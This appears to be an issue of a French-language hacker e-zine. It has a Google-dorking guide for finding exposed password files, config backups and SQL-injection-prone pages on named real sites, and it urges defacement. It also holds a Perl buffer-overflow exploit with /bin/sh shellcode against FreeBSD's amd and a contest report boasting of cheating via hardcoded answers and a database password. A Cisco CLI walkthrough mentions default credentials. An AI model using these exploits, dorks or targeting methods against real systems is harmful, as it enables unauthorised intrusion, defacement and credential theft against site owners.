  [14:43] <init_jobe> [14:22] *** [FunkY] was kicked by Amsterdam.nl.eu.undernet.org (Net Rider)
  [14:43] <init_jobe> [14:28] *** [FunkY] has joined #mindkind
  [14:43] <init_jobe> [14:30] *** [FunkY] was kicked by Amsterdam.nl.eu.undernet.org (Net Rider)
  [14:43] <init_jobe> HAHA
  [14:43] <init_jobe> i se zigne sur l'irc

  < ----------------------- >




                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.04  Time to do some blind hacking                   \        \     !
     .             aka                                         \        \    .
     ;           Ripping google cache without limitations       \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

  I) :: INTRO
  -----------

 Le blind hacking est une autre de ces méthodes qui  vous permettent  d'arriver
 a vos fins sans avoir a connaître tout les moyens. Comme son nom l'indique, il
 s'agit  de hacking  "aveugle", donc  sans préméditation  . On   hack  ce   qui
 passe  entre nos mains question de se pratiquer pendant le long hivers.

 Le  blind hacking  se veut  être un  sport pure,  sans aucun  arme  ou  outils
 d'intrusion, on cherche des chose simples et ont les hacks. On peut aussi bien
 se   retrouver   entrain  de  défacer  un  wwwboard   de   planetquake.com  ou
 s'emplir  le  ventre de  warez.  Le blind  hacking  n'est pas  une  chose  qui
 mérite  des   applaudissements, d'ailleurs  n'importe quel  cloporte peut  s'y
 mettre.

 Maintenant vous n'avez plus de raison de ne pas continuer à lire :)



  II) :: Webcrawling  the net for targets
  ---------------------------------------

 www.google.com,  vous  l'aviez   deviner? Pour  ceux   qui ne connaissent  pas
 google, il s'agit d'un excellent moteur de recherche. Google se veut   complet
 donc il y a un  tas d'options (caching de pages offlines, image searcher)  que
 la  compétition ne possède pas.

 Google balaie Internet en permanence à  l'aide de robots qui vont se  promener
 d'URL  en URL. L'avantage premier de ce système c'est que l'indexation se fait
 à l'insu  de  son  auteur. A  l'aide des  bons mots,   des  mots  magiques  on
 peut obtenir   des  résultats  convaincants en  très peu  de temps,  jugez par
 vous-mêmes:

   http://www.google.ca/search?q=%22index%20of%20/%22%20winex

 Les  amateurs   sauront  de   quoi  je  parle, spécialement   les utilisateurs
 Linux.  Les  recherches  sous   Google  se   font  donc   via  un  browser web
 (mozilla, netscape, ie, konqueror). On peut faire du blind hacking a  l'école,
 à la bibliothèque(loosers), chez sa blonde ou encore chez vos chères mamans.

 Pour faire une recherche, on utilise l'URL de google de la façon suivante:

 > http://www.google.ca/search?q=Votre query 

 On peut  toujours passer  par www.google.ca directement. Pratiquez  pendant 10
 secondes, si vous comprenez  pas, sentez-vous gravement insulté.
 Passons donc aux ....


 III) :: Mots magiques
 ---------------------

 Vous voulez connaître les queries qui ont marquées l'histoire, les queries qui
 ont fait bouger  le monde?  Disons qu'il y a certaines séries de mots   reliés
 ensemble  sous  la forme d'une phrase qui donnent d'excellents résultats.

 
 "Index of /" leech    
 ==================

 Sous Apache  et certains  autres serveurs  web se  retrouve  une  directive de
 configuration qui permet  de créer un  index automatique. Si  un répertoire ne
 possède pas d'index.html, le  serveur web bouffe 100%  du I/O, swap pendant  3
 secondes et décide que vous  en   avez pas et fabrique alors un  fichier index
 temporaire, en voici un exemple:

 > http://www.co.benton.or.us/sheriff/corrections/

 Très  intéressant  si vous  voulez  comprendre comment  fonctionne  un  centre
 correctionnel mais c'est pas  vraiment le trip du  siècle, tout ce qu'il  faut
 retenir c'est que le site  que vous avez vérifier est  un site qui n'a pas  eu
 d'index.html  (ou  index.php,index.asp,  defaults.html  etc..)    présent.  Si
 vous  regardez   directement  www.co.benton.or.us, l'index prend le dessus  et
 on voit le site trop peu esthétique  du centre  de ... c'est dure à dire.

 Voici un exemple plus warez-like:

 >http://www.funet.fi/pub/netinfo/incoming/%20%20%20%20%20%20%20%20%20%20%20%20
  %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
  %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
  %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
  %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20tagged%204%20dsn!!!/

 Essayer ftp.funet.fi ? Google.com peut aussi servir de  PUB's  finder.   Comme
 la  face  d'Internet change  très souvent,  la variété  persiste :),  l'astuce
 c'est de chercher des "index of /" avec des mots comme  incoming et tagged.

 On peut  aussi trouver  du matériel  directement, quoi  que  cela  soit  moins
 simple,  des qu'il  s'agit de warez,  certains modifient l'index  de leur site
 pour contenir "index of /" et vous envoie de la junk.  

 Chercher leech,  0-day et  rarement warez  ou appz  si vous  voulez éviter les
 popups :)

 > http://www.fh-trier.de/~teepenf/leech/


 Un aspect   encore  plus   intéressant que   les  autres,   le  hacking,  peut
 être  très  facilement simplifié  par Google.com,  en voici  une exemple, très
 ordinaire soit dit  en passant:

 >  www.google.ca/search?q="index of /" passwd.txt

 - http://earlyamerica.com/towncrier/passwd.txt
 - http://www.ku.edu/~philos/courses/wwwboard3/passwd.txt
 - http://ntuphoenix.port5.com/discus_admin_1162549908/passwd.txt

 Hacker des webboards c'est bien mais on veut mieux non? 

 >  www.google.ca/search?q="index of /" config.inc.php.bak

 - http://planetemods.free.fr/include/config.inc.bak

 Il y  a toujours  la possibilité  de faire  du défacing   (changer   la   page
 d'accueil, peut-être même avoir accès à la machine ou du moins à  la  bd).  On
 peut   par  exemple chercher le fichier access_log et error_log pour  vérifier
 au cas ou.

 Je crois que tout le monde a comprit.

 Stats / Usages data 
 ===================

 Il y a beaucoup  de proxy web sur  Internet, qui logs bien  entendu toutes les
 requêtes,  la majorité de ces proxies génèrent un log en HTML et le place dans
 un répertoire.

 Exemple?

 > http://www.google.ca/seach?q="World Wide Web Access Statistics"

 - http://gladstone.uoregon.edu/monthly-log.html
 - http://www.soest.hawaii.edu/reports/statistics.html

 Vous  pouvez  ajouter    des  mots   a  la   query  pour   chercher un   terme
 intéressant  (ie:passwd.txt).   Remercier  wwwstat   d'avoir  un   pattern  si
 répétitif, les   logs  générer par   ce  script  sont vraiment trop  parfaits.
 Nous avons toute l'information nécessaire.

 Il y a aussi "FTP Access Statistics" qui peut  vous donnez du bon miammiam.



 Debug/Error messages
 ====================

 Les  messages d'erreurs,  sont selon  moi, un  truc très  utile, je  me  sert
 principalement des messages  d'erreurs pour  déterminer  le OS et  information
 diverse  en rapport  à  une  cible. Je  recherche principalement  2 sortes  de
 messages d'erreurs,  les messages  générés par  ASP,PHP et  SQL. Pratique pour
 localiser  par  exemple  des  cas  assujettis  au  SQL injection.

 "Microsoft OLE  DB Provider  for ODBC"  est un  bon keyword  pour trouvez  des
 scripts   qui  accèdent   à  des  bases  de  donnée,  l'erreur  n'est  pas  si
 intéressante  que  ça.  Mais   même  si  le  script ne  fait  plus  le message
 d'erreur, il  est   toujours  la  passerelle  pour l'injection.


 <REALTIME_DRAMATIZATION>
 Tiens, en écrivant ses lignes, jai par hasard attrapé ceci via irc:

 (Need Help?: http://www.securiteam.com/securityreviews/5DP0N1P76E.html)

 http://new.spot.be/tiscali/fr/film.asp?Code_film='7957 (SQL injection
                                                           possibility)

 Merci init_null ;)
 </REALTIME_DRAMATIZATION>

 Il   y  a   les   messages    typiques  de   PHP3, le   plus  populaire   est
 toujours:  "Fatal  error:  input  in flex  scanner  failed  in  ". Ce  message
 d'erreur   est  souvent associé à une fonction include() qui inclue  n'importe
 quel fichier  et  l'affiche   ou le traite. Il y a alors possibilité de  faire
 un tas de trucs, comme  cet article  se veut court,  voici un lien vers un  de
 mes vieux articles sur le sujet:

 http://ouah.sysdoor.net/art001.txt

 Vous  pouvez   aussi  chercher    pour  des   patterns d'erreurs  PHP typiques
 contenant des "unable to" et compagnie.

 CONCLUSION & Hunting tricks
 ===========================

 Je crois qu'on pourrait  y passer la semaine,  alors ceci clôt cet  article en
 espérant que cela vous ai amusez. Voici quelques idées a essayer pour ceux que
 ça intéresse:

-  Utiliser  http://www.cgisecurity.com/archive/index.shtml   pour  trouver  de
   nouveaux patterns à vérifier, si par un exemple une nouvelle  faille sort, à
   partir d'un exploit vous pourrez toujours savoir quel fichier  chercher,  si
   vous glissez allinurl: devant votre query, google  ne cherchera que dans les
   liens. Donc vous trouverez les fichiers vulnérables.

 - Exploiter le nouveau bug overflow.cgi pour les RAQ applicances. Chercher des
   machines de ce type en utilisant un pattern d'erreur 404.En effet,  les  RAQ
   affichent une page 404 bien a elles, voici un exemple de page 404:

   > http://pgs.k12.va.us/tech/wm
   
   Dans le source on peut voir la source de l'image suivante:
  
   "/.cobalt/images/question_warning"

   On n'a plus qu'à chercher cela, essayer le Images search de google.
   Pour l'exploit en question:
  
   http://www.securiteam.com/exploits/6S0022A6AA.html

 - Allez lire la doc sur google.com pour améliorer vos  queries  de  recherche,
   le adv. search est pas mal aussi pour les URL search/Domain search.

 - Pour avoir tout les bugs de sécurités répandus de  type  cgi/database,  vous
   pouvez toujours downloader les fichiers contenant  les  "rules"  de  NESSUS.
   Très facile à parser et à réutiliser. (En fait c'est un  langage  interprété
   réutilisable)



                                                                            __2



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                  mrgibson@golum.net                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'





------------------------------- 8< cut here 8< -------------------------------


#!/usr/bin/perl
#
# Fbsd AMD exploit, dosen't give root since it's not seuid.
#
###########################################################
my $shout = "MindKind_Is_Da_Bomb!";
my $coder = "FunkY"; 
###########################################################

my $execv = "\x31\xc0\x50\x50\xb0\x17\xcd\x80". 
            "\x31\xc0\x50\x50\xb0\xb5\xcd\x80".  
	    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" .
            "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" .
            "\xb0\x3b\x50\xcd\x80";


my $ret   = "\x08\xf6\xbf\xbf";
my $head  = 700;       
my $body  = 200;
my $tail  = 85;
my $buf;
                              
#                   .:[Building buffer]:.
 
 $buf .= $shout x($head/20);
 $buf .= "\x90"x($body-length($execv));
 $buf .= $execv;
 $buf .= $coder x($tail/5);
 $buf .= $ret; 

#                 .:[Exploitation Starts]:. 
 
 system("/usr/sbin/amd", "-k" , "$buf");


------------------------------- 8< cut here 8< -------------------------------





                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.05   Centinel Hacking Countest                      \        \     !
     .             aka                                         \        \    .
     ;                    veni,vidi,vici                        \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Le 9 octobre dernier au soir, avait lieu à l'Université Laval à Québec dans  le
cadre du Congres Étudiant sur  les Nouvelles  Technologies de l'INformation  et
de l'ÉLectronique un concours de hacking. C'est la première fois qu'avait  lieu
au Québec un événement de la sorte. Le concours avait lieu à Québec même. Ville
où la majorité des grands groupes  de hackers Québécois est née, Northern  Phun
co, Corrupted-Addict  et Illegal  Granted Access.  L'événement a  été publicisé
dans  l'underground  notamment  grâce   au  vivotant  groupe  Pyrofreak   et  à
l'organisation 2600mtl.


Une quarantaine de  participant et une  vingtaine de bénévole  ont participé au
projet. Parmi les concurrents connu de  la scène on retrouvais BMG de  2600mtl,
Nitrogen et Binf de devhell ainsi  que moi même (Wyzeman), __2 et  Qwzykx avons
décidé de participer au  concours sous le couvert  de notre ancien groupe  IGA.
Phaust de C-A est venu faire sont tour et nous jaser un peu. mtadbf mieux connu
sous le nom de Bond007 ne pouvait participer au concours puisqu'il  connaissait
trop les organisateurs et  se serait retrouvé en  conflit d'intérêt, il a  donc
participé à  l'événement en  tant que  pseudo organisateur.  Patoff et  Spyd de
Pyrofreak était aussi de l'événement,  mais n'ont pas participé. Pour  le reste
des concurrents ils étaient  de nature inconnue. Ce  qui porte à croire  que la
scène Québécoise est un peu plus grande que celle connue, mais très peu d'entre
eux on performer, ce qui explique de fait, leurs natures inconnues.


Le concours était divisé en 2 parties, une composée de 8 levels portant sur des
méthodes  de  hacking  connu,  tel  le  sql  injection,  les  buffers  overflow
d'argument et  d'environnement, ainsi  que un  format string  bug. La  deuxième
partie était constituée d'une vingtaine  de machines à hacker freestyle,  où le
but était pas mal d'avoir les bons outils et d'avoir leecher toute les exploits
0  day des  6 derniers  mois, cette  parti du  concours a  été en  fait  plutôt
délaisser  par  les concurrents.  Avant  le début  du  concours, 2  conférences
étaient offertes gratuitement aux concurrents.  Une sur les IDS à  laquelle moi
et __2 sommes  arrivés en plein  milieu, encore sous  les effets du  weed. Nous
nous sommes vite rendu  compte que cette conférence  donnée par un bénévole  de
Linux  Québec ne  s'adressait pas  à nous  (après tout,  je venais  quand  même
d'écrire un article sur  le sujet même pas  2 mois avant). Cependant  nous nous
sommes rendu compte que bon nombre de participants étaient impressionnés par la
conférence. Ce qui  nous a permit  de douter un  peu sur le  challenge que nous
offrirait les concurrents  du concours. Déçu  par la première  conférence, nous
avons  décidé  de ne  pas  assisté à  la  seconde, se  disant  qu'elle ne  nous
apporterait pas grand chose de plus  que la première. Mtadbf est d'accord  avec
nous pour dire que  les conférences étaient un  peu médiocre, non pas  qu'elles
étaient foncièrement  mauvaises mais  elles devaient  s'adresser à  des hackers
chevronnés, du moins c'est ce que nous croyons. Pourtant elles ont tout de même
intéressé une majorité de participant.


Le hackfest débuta officiellement à la fin des 2 conférences vers 9h du soir et
devait s'étendre jusqu'a 3 heure du matin. Qui a gagné ? nous, bien  évidement,
malgré le fait que les favoris de la scène étaient nitrogen et binf de devhell,
qui sont ma foi particulièrement surestimés. Nous avons évidement été accusé de
tricher, amusant  non, tricher  dans un  concours de  hack. Effectivement, nous
n'avons pas suivit  le chemin que  les organisateurs auraient  bien aimés qu'on
suive. Voici ce que nous avons vraiment  fait. Après avoir réussi les #1 #3  et
#4, __2  a  découvert en faisant  un ps -aux  un deamon qui  avait pour but  de
tenir live les statistiques du concours  (quel groupe est rendu où). Le  deamon
ayant pour argument un  fichier dans le path  du site web. Par  curiosité, nous
sommes allez voir si nous ne pouvions pas avoir accès au site web (les #4 #5 #6
#7 et #8 qui  était des buffer overflow  et format string bug,  se faisaient en
local sur la machine du concours grâce  à un shell au quel nous avions  accès).
Quel ne fut pas notre grande surprise de découvrir hardcodé dans le fichier php
qui s'occupait  de filtrer  les réponses  des concurrents,  les réponses du dit
concours, nous avons aussi trouvé le pass  de la bd mysql dans les fichier  php
du site  (les 3  premières questions  était web  based). Un  seul numéro nous a
cependant été  crédité pour  ce hack.  N'ayans plus  aucun intérêt  au concours
(après tout  nous avions  le sentiment  justifier d'avoir  gagné), nous  sommes
parti. Il était minuit. Les 3 heures restantes au concours n'ont pas suffit aux
autres groupes, notamment les favoris, devhell (qui soutiennent que s'ils n'ont
pas réussi à nous battre c'est qu'ils étaient frost et qu'ils ont quitté avant,
et bien c'est aussi notre  cas et on a gagné,  alors bien piètre excuse que  la
leur) pour battre les 4 numéro que nous avions réussi. Il est aussi amusant  de
savoir que IGA a été le seul groupe a réussir un des problèmes sur les  buffers
overflows et que nous étions sur le bord d'en réussir un deuxième lorsque  nous
avons fait notre coup d'éclat. Donc même sans tricher nous aurions tout de même
gagné,    les     résultats    donnés     sur    le     site    du     hackfest
(http://hackfest.centinel.org/) sont la pour en témoigner.


Temps : 20:50:38  Numéro :  1   Nom:  iga
Temps : 21:36:40  Numéro :  2   Nom:  bleh
Temps : 21:41:56  Numéro :  3   Nom:  kohi
Temps : 21:43:12  Numéro :  2   Nom:  kohi
Temps : 21:47:39  Numéro :  1   Nom:  kohi
Temps : 22:05:19  Numéro :  1   Nom:  dh
Temps : 22:24:46  Numéro :  2   Nom:  dh
Temps : 22:55:16  Numéro :  4   Nom:  iga
Temps : 23:02:49  Numéro :  2   Nom:  iga
Temps : 23:03:02  Numéro :  3   Nom:  iga
Temps : 23:46:25  Numéro :  1   Nom:  R
Temps : 23:58:19  Numéro :  2   Nom:  R
Temps : 00:10:25  Numéro :  1   Nom:  Megaoctet


Sommes toutes  l'événement a  bien plut  à plusieurs.  Les perdants, outre nous
accuser d'avoir tricher, clament haut et fort que le but n'était pas de  gagner
mais de participer. Je ne sais pas si ils se croient vraiment, mais si oui,  il
s'agit la  d'un belle  exemple de  la médiocrité  Québécoise, qui  affecte même
notre Underground.  Le seul  et unique  but d'un  concours généralement  est de
déclarer un gagnant. Et bien soit, continué à jouer les perdants comme il  vous
plait tant, nous nous allons continuer à faire évoluer la scène Québécoise pour
l'amener au sommet et soyez sur  qu'on vous laissera pas salir notre  image. Il
est tout de  même plaisant de  savoir que les  organisateurs ont apprécié  leur
expérience et  on promit  de recréer  l'événement l'an  prochain. Nous espérons
tout de fois que  la qualité des concurrents  sera supérieure l'an prochain  et
que le  kiddie qui  a fait  du arp  poisoning toute  la soirée aura comprit que
c'est pas sa place.  Donnons-lui tout de même  le crédit d'avoir donné  quelque
chose à dire à Spyd pendant un mois.


                                                                À l'an prochain
								
									Wyzeman


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                wyzeman@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'
	  





        ____         ,-------------------------------------------------
       /    \        |
      |  _   |       | Mindkind's open source software of the zine
      | / \  |       | -Eraser
      ||   | |      /  http://sourceforge.net/projects/eraser/
      (.) (.)|     /   Eraser est un utilitaire sécure pour effacer ses 
      ||   | |    <__  fichiers. Comme tout le monde le sait, il est 
      ||   | | |     | possible de retrouver des données effacées même 
      ||   | | |     | après avoir vidé la corbeille. Sans trop entrer
      |____/|| |     | dans les détails, Eraser efface les documents de
      |\___/ | |     | façon tout à fait permanente (quoi que 10 fois 
      ||   | | |     | plus lente). Eraser fonctionne uniquement sous 
      ||   | | |     | Windows.
      ||   | | |     | 
      ||     | |       
      | \___/  |      
      |        |        
       \______/        
                  




                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.06 Internet platiqué 1                              \        \     !
     .             aka                                         \        \    .
     ;       Ta fini avec ta foutu théorie, jveux mon CCNA      \        \   :
     :  yaka Avez-vous déjà touché un (Cisco) CLI?              \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Dans la suite de mes articles  théoriques sur "Internet", voici donc un  peu de
pratique pour se dégourdir les doigts...

Let's hack some Ciscos
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Bon j'ai genre le livre de CCNA dans les mains.. et... FUCK IT.
Vous le lirez (disponible chez tout les bons bookwarez-doodz).
On va s'amuser à place :-)

Bon primo on va  régler quelque chose assez  vite. Ya des routers  Cisco et des
switchs Cisco. Ya différentes  sortes de routers et  switchs, mais en gros  les
commandes se ressemble pas  mal. Voici ceux qu'on  va regarder : Cisco  GSR: ça
ctun  CRISS  de  gros  cisco.  Le  genre  qui  roule  une  couple   d'interface
OC192/OC48/GigabitEthernet/Ethernet et qui fait beaucoup de bruit. Ça ressemble
à 2 grosses caisses. Une avec des cartes cutes  que c'est marqué  OC192 ou OC48
dessus et qu'on plug les fibres en avant et l'autre qui a d'l'air d'être fermée
(qui doit être une espèce de contrôleur) et qu'on branche le reste en  arrière.
D'habitude le # de modèle des GSR  cé dans les 12000. Cisco 2600 :  router plus
"standard" et plus compact que le GSR. Contient des interfaces FastEthernet  et
GigabitEthernet.  Ressemble  à une  boite  à pizza.  On  branche les  câbles  à
l'arrière. Cisco 3500 : Switch assez standard. Ressemble à un Cisco 2600 (style
pizza box) mais d'habitude  sur une switch on  plug beaucoup plus de  ports. Ça
peut être 8 ou 24, en GigabitEthernet et/ou en FastEthernet.

Ces 3 machines là ont donc un prompt similaire :


User Access Verification

Password:
JessicaAlba>enable
Password:
JessicaAlba#

La commande "enable" sert à rentrer dans un mode de config complet. Moi c'était
cisco/cisco le username/pass, mais  je crois pas que  ça va être la  même chose
pour vous.  La box  que vous  avez le  plus de  chance d'avoir  ça comme mot de
passe, c'est  une box  qui sert  aux "tests".  Genre dans  un Cégep/Université.
Aussi le prompt est setté avec le nom identifiant du Cisco; Dans le présent, le
nom va être JessicaAlba pour le GSR, AngelinaJolie pour le 2600 et KirstenDunst
pour la switch(pour garder votre attention, et surtout pour pouvoir jouer  dans
les setups intimes des interfaces de ces demoiselles.. he he he).

Dans tout bon  Cisco ya des  commandes de base.  Que ce soit  un router ou  une
switch, la commande  va être disponible.  La première et  dernière commande que
vous avez à  apprendre lorsque vous  avez un cisco  dans les mains,  c'est "?".
Vous  pouvez  placer  le "?"  n'importe  ou  dans une  ligne  de  commande avec
plusieurs  paramètres,  et  à  chaque  fois  le  cisco  vous  donne  les  choix
disponible.

Mais bon, je vais être gentil et je vais prendre en considération que vous avez
pas de Cisco (après tout c rare de  quoi en bas de 20 000$ :-). Voici  donc les
outputs des helps. Pis vu que jme sens cheap de juste paster du stock de  même,
je vais commenter un ti peu.. (commentaires C style // ça va être moi)

GSR:
JessicaAlba#?   
Exec commands:
  <1-99>           Session number to resume
  access-enable    Create a temporary Access-List entry
  access-profile   Apply user-profile to interface
  access-template  Create a temporary Access-List entry
  archive          manage archive files
  attach           Console for LineCard
  calendar         Manage the hardware calendar
  cd               Change current directory 
                   // Et oui ya un filesystem sur un GSR
  chain-cache      Control parser chain-cache
  clear            Reset functions
  clock            Manage the system clock
  cns              CNS subsystem
  configure        Enter configuration mode 
                   // Pour passer à l'autre mode supérieur
  connect          Open a terminal connection
  copy             Copy from one file to another
  debug            Debugging functions (see also 'undebug') 
                   // plutôt cool permet de voir
                   // en temps réel ce qui se passe.. genre les users qui se
                   // log, ce que la machine fait, peut même débugger packet
                   // par packet (à ne pas conseiller sur une interface a 
                   // haut débit.. hehe)
  delete           Delete a file
  diag             Launch Cisco Field Diagnostics
  dir              List files on a filesystem // me semble c'est pas un HD
                                              // c juste de la "flash" genre..
  disable          Turn off privileged commands
  disconnect       Disconnect an existing network connection
  enable           Turn on privileged commands
  erase            Erase a filesystem // Kc que je disais sur le FS :-)
  execute-on       Execute command remotely
  exit             Exit from the EXEC
  facility-alarm   Alarm commands
  format           Format a filesystem
  help             Description of the interactive help system
  hw-module        Control of individual components in the system
  lock             Lock the terminal
  login            Log in as a particular user
  logout           Exit from the EXEC
  mkdir            Create new directory
  monitor          Monitoring different system events // Peut être intéressent
                   // pour voir qui se connect sur la machine et etc...
  more             Display the contents of a file
  mpls             MPLS commands
  mrinfo           Request neighbor and version information from a multicast
router
  mrm              IP Multicast Routing Monitor Test
  mstat            Show statistics after multiple multicast traceroutes
  mtrace           Trace reverse multicast path from destination to source
  name-connection  Name an existing network connection
  no               Disable debugging functions
  ping             Send echo messages // Similaire à /sbin/ping ou ping.exe
  ppp              Start IETF Point-to-Point Protocol (PPP)
  pwd              Display current working directory
  redundancy       redundancy control
  reload           Halt and perform a cold restart // En gros ça flush la mem
                   // pis ça la reload, sans flusher les users et etc
  rename           Rename a file
  restart          Restart Connection
  resume           Resume an active network connection
  rmdir            Remove existing directory
  rsh              Execute a remote command
  send             Send a message to other tty lines
  set              Set system parameter (not config)
  setup            Run the SETUP command facility
  show             Show running system information
  slip             Start Serial-line IP (SLIP)
  squeeze          Squeeze a filesystem
  systat           Display information about terminal lines
  telnet           Open a telnet connection
  terminal         Set terminal line parameters
  test             Test subsystems, memory, and interfaces
  traceroute       Trace route to destination
  tunnel           Open a tunnel connection // ça j'avoue j'l'ai pas essayé,
                                            // bien que ça m'intrigue
  undebug          Disable debugging functions (see also 'debug')
  undelete         Undelete a file
  upgrade          upgrade GSR rom image(s)
  verify           Verify a file
  where            List active connections
  which-route      Do OSI route table lookup and display results
  write            Write running configuration to memory, network, or terminal

2600:
AgelinaJolie#?
// plutôt la même chose que le GSR
// (après tout Cisco run IOS sur toutes les machines..)
Exec commands:
  <1-99>           Session number to resume
  access-enable    Create a temporary Access-List entry
  access-profile   Apply user-profile to interface
  access-template  Create a temporary Access-List entry
  alps             ALPS exec commands
  archive          manage archive files
  audio-prompt     load ivr prompt
  bfe              For manual emergency modes setting
  call             Load IVR call application
  ccm-manager      Call Manager Application exec commands
  cd               Change current directory
  clear            Reset functions
  clock            Manage the system clock
  cns              CNS subsystem
  configure        Enter configuration mode
  connect          Open a terminal connection
  copy             Copy from one file to another
  debug            Debugging functions (see also 'undebug')
  delete           Delete a file
  dir              List files on a filesystem
  disable          Turn off privileged commands
  disconnect       Disconnect an existing network connection
  enable           Turn on privileged commands
  erase            Erase a filesystem
  exit             Exit from the EXEC
  help             Description of the interactive help system
  isdn             Run an ISDN EXEC command on a BRI interface
  lat              Open a lat connection
  lock             Lock the terminal
  login            Log in as a particular user
  logout           Exit from the EXEC
  microcode        microcode commands
  monitor          Monitoring different system events
  more             Display the contents of a file
  mpls             MPLS commands
  mpoa             MPOA exec commands
  mrinfo           Request neighbor and version information from a multicast
router
  mrm              IP Multicast Routing Monitor Test
  mstat            Show statistics after multiple multicast traceroutes
  mtrace           Trace reverse multicast path from destination to source
  name-connection  Name an existing network connection
  ncia             Start/Stop NCIA Server
  no               Disable debugging functions
  pad              Open a X.29 PAD connection
  ping             Send echo messages
  ppp              Start IETF Point-to-Point Protocol (PPP)
  pwd              Display current working directory
  radio            Radio commands
  reload           Halt and perform a cold restart
  rename           Rename a file
  restart          Restart Connection
  resume           Resume an active network connection
  rlogin           Open an rlogin connection
  rsh              Execute a remote command
  sdlc             Send SDLC test frames
  send             Send a message to other tty lines
  setup            Run the SETUP command facility
  show             Show running system information
  slip             Start Serial-line IP (SLIP)
  squeeze          Squeeze a filesystem
  start-chat       Start a chat-script on a line
  systat           Display information about terminal lines
  tarp             TARP (Target ID Resolution Protocol) commands
  tclquit          Quit Tool Comand Language  shell 
  tclsh            Tool Comand Language a shell // C'est weird ça, il l'avait
                   // pas sur le GSR suppose que ça la été installé pour 
                   // runner des scripts de config ou de quoi du genre..
  telnet           Open a telnet connection
  terminal         Set terminal line parameters
  test             Test subsystems, memory, and interfaces
  tn3270           Open a tn3270 connection
  traceroute       Trace route to destination
  tunnel           Open a tunnel connection
  udptn            Open an udptn connection
  undebug          Disable debugging functions (see also 'debug')
  upgrade          Upgrade firmware
  verify           Verify a file
  where            List active connections
  which-route      Do OSI route table lookup and display results
  write            Write running configuration to memory, network, or terminal
  x28              Become an X.28 PAD
  x3               Set X.3 parameters on PAD
  xremote          Enter XRemote mode

Switch 3500:
KirstenDunst#?
Exec commands:
  <1-99>           Session number to resume
  access-enable    Create a temporary Access-List entry
  access-template  Create a temporary Access-List entry
  archive          manage archive files
  cd               Change current directory
  clear            Reset functions
  clock            Manage the system clock
  cluster          cluster exec mode commands
  configure        Enter configuration mode
  connect          Open a terminal connection
  copy             Copy from one file to another
  debug            Debugging functions (see also 'undebug')
  delete           Delete a file
  dir              List files on a filesystem
  disable          Turn off privileged commands
  disconnect       Disconnect an existing network connection
  enable           Turn on privileged commands
  erase            Erase a filesystem
  exit             Exit from the EXEC
  format           Format a filesystem
  fsck             Fsck a filesystem
  help             Description of the interactive help system
  hw-module        Commands to manipulate a target module
  lock             Lock the terminal
  login            Log in as a particular user
  logout           Exit from the EXEC
  mkdir            Create new directory
  more             Display the contents of a file
  name-connection  Name an existing network connection
  no               Disable debugging functions
  ping             Send echo messages
  pwd              Display current working directory
  rcommand         Run command on remote switch
  reload           Halt and perform a cold restart
  rename           Rename a file
  resume           Resume an active network connection
  rmdir            Remove existing directory
  rsh              Execute a remote command
  send             Send a message to other tty lines
  session          Start remote console session
  set              Set system parameter (not config)
  setup            Run the SETUP command facility
  show             Show running system information
  systat           Display information about terminal lines
  telnet           Open a telnet connection
  terminal         Set terminal line parameters
  test             Test subsystems, memory, and interfaces
  traceroute       Trace route to destination
  tunnel           Open a tunnel connection
  udld             UDLD protocol commands
  undebug          Disable debugging functions (see also 'debug')
  verify           Verify a file
  vlan             Configure VLAN parameters
  vmps             VMPS actions
  where            List active connections
  write            Write running configuration to memory, network, or terminal


Bon là jvas pas  toute vous paster les  sous-help.. ya quand même  des limites.
Mais vous  voyez un  peu de quoi ça la d'l'air,  curieusement le GSR a moins de
commandes que le 2600. Bon, tant qu'à paster des choses en batch, je vais aussi
mettre  un  output  du  show  version  de  chaque  bécane.  Pour  recueillir de
l'information show est la commande à utiliser.
En passant ya BEAUCOUP de "show ?" sur un 2600 :

AngelinaJolie#show ?
  access-expression         List access expression
  access-lists              List access lists 
                            // Les ACL de la machine.. 
                            // peut être usefull pour voir qui peut se connecter
                            // ou pas
  accounting                Accounting data for active sessions
  adjacency                 Adjacent nodes
